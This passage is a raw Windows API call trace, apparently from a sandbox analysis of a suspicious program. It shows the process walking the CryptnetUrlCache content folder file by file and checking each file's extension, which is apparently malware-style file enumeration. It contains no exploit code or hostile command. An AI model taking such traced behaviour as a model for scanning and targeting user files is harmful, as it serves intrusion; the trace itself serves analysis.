ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.000] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.000] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.000] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.000] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.000] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.001] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.001] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.001] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.001] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.001] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.001] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.001] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.001] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.001] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.001] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0115.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.001] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0115.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.002] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.002] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.002] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.002] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0115.002] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.002] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0115.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.003] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.004] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.004] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.004] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.004] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.004] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.004] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.004] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.004] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.004] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0115.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.004] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.004] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0115.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0115.005] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, 